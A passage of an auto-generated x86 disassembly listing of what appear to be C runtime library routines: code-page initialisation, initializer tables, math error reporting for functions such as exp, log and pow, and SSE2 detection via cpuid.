var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_4], eax
		push	edi
		jz	loc_41943C
		xor	edx, edx
		xor	eax, eax


loc_4192EC:				; CODE XREF: sub_4192C7+36j
		cmp	dword_42CE58[eax], esi
		jz	short loc_419359
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_4192EC
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	ds:dword_41F18C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_419434
		push	40h
		xor	eax, eax
		cmp	[ebp+var_1C], 1
		pop	ecx
		mov	edi, offset byte_47A400
		rep stosd
		stosb
		mov	dword_47A504, esi
		mov	dword_47A3E8, ebx
		jbe	loc_419422
		cmp	[ebp+var_16], 0
		jz	loc_4193FA
		lea	ecx, [ebp+var_15]


loc_419343:				; CODE XREF: sub_4192C7+12Dj
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4193FA
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_4193EA
; ---------------------------------------------------------------------------


loc_419359:				; CODE XREF: sub_4192C7+2Bj
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_47A400
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_8], ebx
		stosb
		lea	ebx, dword_42CE68[ecx]


loc_419375:				; CODE XREF: sub_4192C7+EBj
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_4193A4
; ---------------------------------------------------------------------------


loc_41937B:				; CODE XREF: sub_4192C7+DFj
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_4193A8
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_4193A0
		mov	edx, [ebp+var_8]
		mov	dl, byte_42CE50[edx]


loc_419395:				; CODE XREF: sub_4192C7+D7j
		or	byte_47A401[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_419395


loc_4193A0:				; CODE XREF: sub_4192C7+C3j
		inc	esi
		inc	esi
		mov	al, [esi]


loc_4193A4:				; CODE XREF: sub_4192C7+B2j
		test	al, al
		jnz	short loc_41937B


loc_4193A8:				; CODE XREF: sub_4192C7+B9j
		inc	[ebp+var_8]
		add	ebx, 8
		cmp	[ebp+var_8], 4
		jb	short loc_419375
		mov	eax, [ebp+arg_0]
		mov	dword_47A504, eax
		mov	dword_47A3F0, 1
		call	sub_41906E
		lea	ecx, dword_42CE5C[ecx]
		mov	esi, ecx
		mov	edi, offset word_47A510
		movsd
		movsd
		mov	dword_47A3E8, eax
		movsd
		jmp	short loc_419441
; ---------------------------------------------------------------------------


loc_4193E2:				; CODE XREF: sub_4192C7+125j
		or	byte_47A401[eax], 4
		inc	eax


loc_4193EA:				; CODE XREF: sub_4192C7+8Dj
		cmp	eax, edx
		jbe	short loc_4193E2
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_419343


loc_4193FA:				; CODE XREF: sub_4192C7+73j
					; sub_4192C7+80j
		xor	ecx, ecx
		inc	ecx
		mov	eax, ecx


loc_4193FF:				; CODE XREF: sub_4192C7+145j
		or	byte_47A401[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4193FF
		mov	eax, esi
		call	sub_41906E
		mov	dword_47A3E8, eax
		mov	dword_47A3F0, ecx
		jmp	short loc_419428
; ---------------------------------------------------------------------------


loc_419422:				; CODE XREF: sub_4192C7+69j
		mov	dword_47A3F0, ebx


loc_419428:				; CODE XREF: sub_4192C7+159j
		xor	eax, eax
		mov	edi, offset word_47A510
		stosd
		stosd
		stosd
		jmp	short loc_419441
; ---------------------------------------------------------------------------


loc_419434:				; CODE XREF: sub_4192C7+46j
		cmp	dword_47A024, ebx
		jz	short loc_41944A


loc_41943C:				; CODE XREF: sub_4192C7+1Bj
		call	sub_41909D


loc_419441:				; CODE XREF: sub_4192C7+119j
					; sub_4192C7+16Bj
		call	sub_4190C6
		xor	eax, eax
		jmp	short loc_41944D
; ---------------------------------------------------------------------------


loc_41944A:				; CODE XREF: sub_4192C7+173j
		or	eax, 0FFFFFFFFh


loc_41944D:				; CODE XREF: sub_4192C7+181j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_4192C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41945D	proc near		; CODE XREF: sub_4195AD+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	14h
		push	offset stru_427F78
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0Dh
		call	sub_416901
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	dword_47A024, edi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41949A
		mov	dword_47A024, 1
		call	ds:dword_41F188	; GetOEMCP
		jmp	short loc_4194C5
; ---------------------------------------------------------------------------


loc_41949A:				; CODE XREF: sub_41945D+29j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_4194B1
		mov	dword_47A024, 1
		call	ds:dword_41F184	; GetACP
		jmp	short loc_4194C5
; ---------------------------------------------------------------------------


loc_4194B1:				; CODE XREF: sub_41945D+40j
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_4194C5
		mov	dword_47A024, 1
		mov	eax, dword_47A188


loc_4194C5:				; CODE XREF: sub_41945D+3Bj
					; sub_41945D+52j ...
		mov	[ebp+arg_0], eax
		cmp	eax, dword_47A504
		jz	loc_41958F
		mov	esi, dword_47A3EC
		mov	[ebp+var_20], esi
		cmp	esi, edi
		jz	short loc_4194E5
		cmp	[esi], edi
		jz	short loc_4194F5


loc_4194E5:				; CODE XREF: sub_41945D+82j
		push	220h
		call	sub_41344D
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_20], esi


loc_4194F5:				; CODE XREF: sub_41945D+86j
		cmp	esi, edi
		jz	short loc_419578
		push	[ebp+arg_0]
		call	sub_4192C7
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jnz	short loc_419578
		mov	[esi], edi
		mov	eax, dword_47A504
		mov	[esi+4], eax
		mov	eax, dword_47A3F0
		mov	[esi+8], eax
		mov	eax, dword_47A3E8
		mov	[esi+0Ch], eax
		xor	eax, eax


loc_419525:				; CODE XREF: sub_41945D+DEj
		mov	[ebp+var_24], eax
		cmp	eax, 5
		jge	short loc_41953D
		mov	cx, word_47A510[eax*2]
		mov	[esi+eax*2+10h], cx
		inc	eax
		jmp	short loc_419525
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_41945D+CEj
		xor	eax, eax


loc_41953F:				; CODE XREF: sub_41945D+F7j
		mov	[ebp+var_24], eax
		cmp	eax, 101h
		jge	short loc_419556
		mov	cl, byte_47A400[eax]
		mov	[eax+esi+1Ch], cl
		inc	eax
		jmp	short loc_41953F
; ---------------------------------------------------------------------------


loc_419556:				; CODE XREF: sub_41945D+EAj
		xor	eax, eax


loc_419558:				; CODE XREF: sub_41945D+113j
		mov	[ebp+var_24], eax
		cmp	eax, 100h
		jge	short loc_419572
		mov	cl, byte_47A520[eax]
		mov	[eax+esi+11Dh],	cl
		inc	eax
		jmp	short loc_419558
; ---------------------------------------------------------------------------


loc_419572:				; CODE XREF: sub_41945D+103j
		mov	dword_47A3EC, esi


loc_419578:				; CODE XREF: sub_41945D+9Aj
					; sub_41945D+AAj
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_419592
		cmp	esi, dword_47A3EC
		jz	short loc_419592
		push	esi
		call	sub_412FE4
		pop	ecx
		jmp	short loc_419592
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41945D+71j
		mov	[ebp+var_1C], edi


loc_419592:				; CODE XREF: sub_41945D+11Fj
					; sub_41945D+127j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4195A4
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41945D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195A4	proc near		; CODE XREF: sub_41945D+139p
					; DATA XREF: .rdata:stru_427F78o
		push	0Dh
		call	sub_41686D
		pop	ecx
		retn
sub_4195A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195AD	proc near		; CODE XREF: sub_41A15E+9p
					; sub_41A1C7+Dp ...
		cmp	dword_47B674, 0
		jnz	short loc_4195C8
		push	0FFFFFFFDh
		call	sub_41945D
		pop	ecx
		mov	dword_47B674, 1


loc_4195C8:				; CODE XREF: sub_4195AD+7j
		xor	eax, eax
		retn
sub_4195AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195CB	proc near		; CODE XREF: sub_4141AD+2Cp
					; sub_4141AD+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		call	sub_415456
		mov	eax, [eax+60h]
		cmp	eax, dword_47A3EC
		jz	short loc_4195EA
		call	sub_419258


loc_4195EA:				; CODE XREF: sub_4195CB+18j
		cmp	dword ptr [eax+8], 0
		jnz	short loc_419601
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_412C40
		add	esp, 0Ch
		jmp	short loc_419649
; ---------------------------------------------------------------------------


loc_419601:				; CODE XREF: sub_4195CB+23j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_419646
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]


loc_41960D:				; CODE XREF: sub_4195CB+89j
		mov	dl, [esi]
		movzx	ebx, dl
		dec	ecx
		test	byte ptr [ebx+eax+1Dh],	4
		mov	[edi], dl
		jz	short loc_41964C
		inc	edi
		inc	esi
		test	ecx, ecx
		jz	short loc_419658
		mov	dl, [esi]
		dec	ecx
		mov	[edi], dl
		inc	edi
		inc	esi
		test	dl, dl
		jnz	short loc_419652
		and	[edi-2], dl


loc_419630:				; CODE XREF: sub_4195CB+85j
		test	ecx, ecx
		jz	short loc_419644
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_419644:				; CODE XREF: sub_4195CB+67j
					; sub_4195CB+8Bj ...
		pop	esi
		pop	ebx


loc_419646:				; CODE XREF: sub_4195CB+3Bj
		mov	eax, [ebp+arg_0]


loc_419649:				; CODE XREF: sub_4195CB+34j
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41964C:				; CODE XREF: sub_4195CB+4Fj
		inc	edi
		inc	esi
		test	dl, dl
		jz	short loc_419630


loc_419652:				; CODE XREF: sub_4195CB+60j
		test	ecx, ecx
		jnz	short loc_41960D
		jmp	short loc_419644
; ---------------------------------------------------------------------------


loc_419658:				; CODE XREF: sub_4195CB+55j
		and	byte ptr [edi-1], 0
		jmp	short loc_419644
sub_4195CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41965E	proc near		; CODE XREF: sub_419706+18p
		push	esi
		push	dword_47B670
		call	sub_41CE2D
		pop	ecx
		mov	ecx, dword_47B66C
		mov	esi, eax
		mov	eax, dword_47B670
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_4196D1
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_41968E
		mov	ecx, esi


loc_41968E:				; CODE XREF: sub_41965E+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_41318A
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4196B4
		add	esi, 10h
		push	esi
		push	dword_47B670
		call	sub_41318A
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4196B4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4196B4:				; CODE XREF: sub_41965E+3Dj
					; sub_41965E+52j
		mov	ecx, dword_47B66C
		sub	ecx, dword_47B670
		mov	dword_47B670, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_47B66C, ecx


loc_4196D1:				; CODE XREF: sub_41965E+23j
		mov	[ecx], edi
		add	dword_47B66C, 4
		mov	eax, edi
		pop	esi
		retn
sub_41965E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196DE	proc near		; DATA XREF: .data:0042A018o
		push	80h
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	dword_47B670, eax
		jnz	short loc_4196F6
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4196F6:				; CODE XREF: sub_4196DE+12j
		and	dword ptr [eax], 0
		mov	eax, dword_47B670
		mov	dword_47B66C, eax
		xor	eax, eax
		retn
sub_4196DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419706	proc near		; CODE XREF: sub_41973E+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_427F88
		call	__SEH_prolog
		call	loc_4143E9
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_0]
		call	sub_41965E
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_419738
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_419706	endp


; =============== S U B	R O U T	I N E =======================================



sub_419738	proc near		; CODE XREF: sub_419706+24p
					; DATA XREF: .rdata:stru_427F88o
		call	sub_4143F2
		retn
sub_419738	endp


; =============== S U B	R O U T	I N E =======================================



sub_41973E	proc near		; CODE XREF: sub_4143FB+3Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_419706
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_41973E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419750	proc near		; CODE XREF: .text:loc_414A16p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_427F98
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4288D0


loc_419763:				; CODE XREF: sub_419750+3Cj
		cmp	[ebp+var_1C], offset dword_4288D0
		jnb	short loc_41978E
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_419784
		call	eax
		jmp	short loc_419784
; ---------------------------------------------------------------------------


loc_41977D:				; DATA XREF: .rdata:stru_427F98o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419781:				; DATA XREF: .rdata:stru_427F98o
		mov	esp, [ebp+ms_exc.old_esp]


loc_419784:				; CODE XREF: sub_419750+27j
					; sub_419750+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_419763
; ---------------------------------------------------------------------------


loc_41978E:				; CODE XREF: sub_419750+1Aj
		call	__SEH_epilog
		retn
sub_419750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419794	proc near		; DATA XREF: sub_4143FB:loc_414431o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_427FA8
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4288D8


loc_4197A7:				; CODE XREF: sub_419794+3Cj
		cmp	[ebp+var_1C], offset dword_4288D8
		jnb	short loc_4197D2
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4197C8
		call	eax
		jmp	short loc_4197C8
; ---------------------------------------------------------------------------


loc_4197C1:				; DATA XREF: .rdata:stru_427FA8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4197C5:				; DATA XREF: .rdata:stru_427FA8o
		mov	esp, [ebp+ms_exc.old_esp]


loc_4197C8:				; CODE XREF: sub_419794+27j
					; sub_419794+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_4197D2:				; CODE XREF: sub_419794+1Aj
		call	__SEH_epilog
		retn
sub_419794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197D8	proc near		; CODE XREF: sub_414670+B5p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	ecx, 0A1h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		cmp	eax, ecx
		push	esi
		jg	loc_41990D
		jz	loc_419901
		cmp	eax, 18h
		jg	loc_419891
		jz	short loc_41987E
		push	2
		pop	ecx
		sub	eax, ecx
		jz	short loc_41986F
		dec	eax
		jz	short loc_419863
		sub	eax, 5
		jz	short loc_419854
		dec	eax
		jz	short loc_419848
		sub	eax, 5
		jz	short loc_419835
		dec	eax
		jnz	loc_419A5E
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_4198D2
; ---------------------------------------------------------------------------


loc_419835:				; CODE XREF: sub_4197D8+48j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_419848:				; CODE XREF: sub_4197D8+43j
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_4199FB
; ---------------------------------------------------------------------------


loc_419854:				; CODE XREF: sub_4197D8+40j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_419863:				; CODE XREF: sub_4197D8+3Bj
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_4199FB
; ---------------------------------------------------------------------------


loc_41986F:				; CODE XREF: sub_4197D8+38j
		mov	[ebp+var_24], ecx
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_41987E:				; CODE XREF: sub_4197D8+31j
		mov	[ebp+var_24], 3


loc_419885:				; CODE XREF: sub_4197D8+E5j
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_419994
; ---------------------------------------------------------------------------


loc_419891:				; CODE XREF: sub_4197D8+2Bj
		sub	eax, 19h
		jz	short loc_4198CB
		dec	eax
		jz	short loc_4198BF
		dec	eax
		jz	short loc_4198B6
		dec	eax
		jz	loc_4199F4
		dec	eax
		jnz	loc_419A5E
		mov	[ebp+var_20], offset aPow ; "pow"
		jmp	loc_419A1C
; ---------------------------------------------------------------------------


loc_4198B6:				; CODE XREF: sub_4197D8+C2j
		mov	[ebp+var_24], 2
		jmp	short loc_419885
; ---------------------------------------------------------------------------


loc_4198BF:				; CODE XREF: sub_4197D8+BFj
		mov	eax, [ebp+arg_8]
		fld1
		fstp	qword ptr [eax]
		jmp	loc_419A5E
; ---------------------------------------------------------------------------


loc_4198CB:				; CODE XREF: sub_4197D8+BCj
		mov	[ebp+var_20], offset aPow ; "pow"


loc_4198D2:				; CODE XREF: sub_4197D8+58j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		mov	[ebp+var_24], 4
		fstp	[ebp+var_C]
		call	off_42CF48
		pop	ecx
		jmp	loc_419A59
; ---------------------------------------------------------------------------


loc_419901:				; CODE XREF: sub_4197D8+22j
		mov	[ebp+var_24], 3
		jmp	loc_41998D
; ---------------------------------------------------------------------------


loc_41990D:				; CODE XREF: sub_4197D8+1Cj
		mov	ecx, 3EAh
		cmp	eax, ecx
		jg	loc_4199D8
		jz	loc_4199CF
		sub	eax, 0A2h
		jz	short loc_419986
		sub	eax, 4
		jz	short loc_419976
		sub	eax, 4
		jz	short loc_419966
		dec	eax
		jz	short loc_41995A
		sub	eax, 33Dh
		jz	short loc_41994E
		dec	eax
		jnz	loc_419A5E
		mov	[ebp+var_20], offset aLog10 ; "log10"
		jmp	loc_419A1C
; ---------------------------------------------------------------------------


loc_41994E:				; CODE XREF: sub_4197D8+161j
		mov	[ebp+var_20], offset aLog_0 ; "log"
		jmp	loc_419A1C
; ---------------------------------------------------------------------------


loc_41995A:				; CODE XREF: sub_4197D8+15Aj
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	loc_4199FB
; ---------------------------------------------------------------------------


loc_419966:				; CODE XREF: sub_4197D8+157j
		mov	[ebp+var_24], 2
		mov	[ebp+var_20], offset aLog2 ; "log2"
		jmp	short loc_419994
; ---------------------------------------------------------------------------


loc_419976:				; CODE XREF: sub_4197D8+152j
		mov	[ebp+var_24], 3
		mov	[ebp+var_20], offset aExp10 ; "exp10"
		jmp	short loc_419994
; ---------------------------------------------------------------------------


loc_419986:				; CODE XREF: sub_4197D8+14Dj
		mov	[ebp+var_24], 4


loc_41998D:				; CODE XREF: sub_4197D8+130j
		mov	[ebp+var_20], offset aExp2 ; "exp2"


loc_419994:				; CODE XREF: sub_4197D8+6Bj
					; sub_4197D8+86j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		fstp	[ebp+var_1C]
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	off_42CF48
		test	eax, eax
		pop	ecx
		jnz	loc_419A59
		call	sub_417C70
		mov	dword ptr [eax], 22h
		jmp	loc_419A59
; ---------------------------------------------------------------------------


loc_4199CF:				; CODE XREF: sub_4197D8+142j
		mov	[ebp+var_20], offset aExp ; "exp"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_4199D8:				; CODE XREF: sub_4197D8+13Cj
		sub	eax, 3EBh
		jz	short loc_419A15
		dec	eax
		jz	short loc_419A0C
		dec	eax
		jz	short loc_419A03
		dec	eax
		jz	short loc_4199F4
		dec	eax
		jnz	short loc_419A5E
		mov	[ebp+var_20], offset aModf ; "modf"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_4199F4:				; CODE XREF: sub_4197D8+C5j
					; sub_4197D8+20Ej
		mov	[ebp+var_20], offset aPow ; "pow"


loc_4199FB:				; CODE XREF: sub_4197D8+77j
					; sub_4197D8+92j ...
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		jmp	short loc_419A26
; ---------------------------------------------------------------------------


loc_419A03:				; CODE XREF: sub_4197D8+20Bj
		mov	[ebp+var_20], offset aFloor ; "floor"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_419A0C:				; CODE XREF: sub_4197D8+208j
		mov	[ebp+var_20], offset aCeil ; "ceil"
		jmp	short loc_419A1C
; ---------------------------------------------------------------------------


loc_419A15:				; CODE XREF: sub_4197D8+205j
		mov	[ebp+var_20], offset aAtan ; "atan"


loc_419A1C:				; CODE XREF: sub_4197D8+D9j
					; sub_4197D8+171j ...
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		mov	esi, [ebp+arg_8]
		fstp	qword ptr [esi]


loc_419A26:				; CODE XREF: sub_4197D8+229j
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_4]
		fstp	[ebp+var_1C]
		mov	[ebp+var_24], 1
		fld	qword ptr [eax]
		lea	eax, [ebp+var_24]
		fstp	[ebp+var_14]
		push	eax
		fld	qword ptr [esi]
		fstp	[ebp+var_C]
		call	off_42CF48
		test	eax, eax
		pop	ecx
		jnz	short loc_419A59
		call	sub_417C70
		mov	dword ptr [eax], 21h


loc_419A59:				; CODE XREF: sub_4197D8+124j
					; sub_4197D8+1E1j ...
		fld	[ebp+var_C]
		fstp	qword ptr [esi]


loc_419A5E:				; CODE XREF: sub_4197D8+4Bj
					; sub_4197D8+CCj ...
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_4182D6
		leave
		retn
sub_4197D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A6C	proc near		; CODE XREF: sub_419AA1+3Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_428068
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_419A94
; ---------------------------------------------------------------------------


loc_419A8D:				; DATA XREF: .rdata:stru_428068o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419A91:				; DATA XREF: .rdata:stru_428068o
		mov	esp, [ebp+ms_exc.old_esp]


loc_419A94:				; CODE XREF: sub_419A6C+1Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_419A6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AA1	proc near		; DATA XREF: .data:0042A01Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	edi
		push	esi
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_419AC4
		push	ecx
		popf
		mov	eax, 1
		cpuid


loc_419AC4:				; CODE XREF: sub_419AA1+18j
		mov	[ebp+var_4], edx
		and	dword_47A3E4, 0
		and	dword_47A3E0, 0
		test	byte ptr [ebp+var_4+3],	4
		jz	short loc_419AF1
		call	sub_419A6C
		test	eax, eax
		jz	short loc_419AF1
		xor	eax, eax
		inc	eax
		mov	dword_47A3E4, eax
		mov	dword_47A3E0, eax


loc_419AF1:				; CODE XREF: sub_419AA1+38j
					; sub_419AA1+41j
		xor	eax, eax
		pop	esi
		pop	edi
		pop	ebx
		leave
		retn
sub_419AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419AF8(double)

sub_419AF8	proc near		; CODE XREF: sub_414670+7j
					; sub_414670+38j

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_42CF4C
		call	sub_41D6DE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		push	ecx
		and	ax, 7FF0h
		cmp	ax, 7FF0h
		push	ecx
		fstp	[esp+18h+var_18]
		jnz	short loc_419B7E
		call	sub_41D5AE
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_419B61
		cmp	eax, 2
		jle	short loc_419B53
		cmp	eax, 3
		jnz	short loc_419B61
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Bh		; int
		call	sub_41D460
		add	esp, 10h
		jmp	short loc_419BC5
; ---------------------------------------------------------------------------


loc_419B53:				; CODE XREF: sub_419AF8+3Fj
		push	esi
		push	ebx
		call	sub_41D6DE
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_419BC5
; ---------------------------------------------------------------------------


loc_419B61:				; CODE XREF: sub_419AF8+3Aj
					; sub_419AF8+44j
		fld	[ebp+arg_0]
		push	ebx
		fadd	ds:dbl_427A70
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_419BBD
; ---------------------------------------------------------------------------


loc_419B7E:				; CODE XREF: sub_419AF8+2Fj
		call	sub_41D571
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	ecx
		fcomp	[ebp+arg_0]
		pop	ecx
		fnstsw	ax
		test	ah, 44h
		jp	short loc_419BA3


loc_419B95:				; CODE XREF: sub_419AF8+AEj
		push	esi
		push	ebx
		call	sub_41D6DE
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_419BC5
; ---------------------------------------------------------------------------


loc_419BA3:				; CODE XREF: sub_419AF8+9Bj
		test	bl, 20h
		jnz	short loc_419B95
		fld	[ebp+var_8]
		push	ebx		; int
		sub	esp, 10h
		fstp	qword ptr [esp+8]
		fld	[ebp+arg_0]
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_419BBD:				; CODE XREF: sub_419AF8+84j
		call	sub_41D4B3
		add	esp, 1Ch


loc_419BC5:				; CODE XREF: sub_419AF8+59j
					; sub_419AF8+67j ...
		pop	esi
		pop	ebx
		leave
		retn
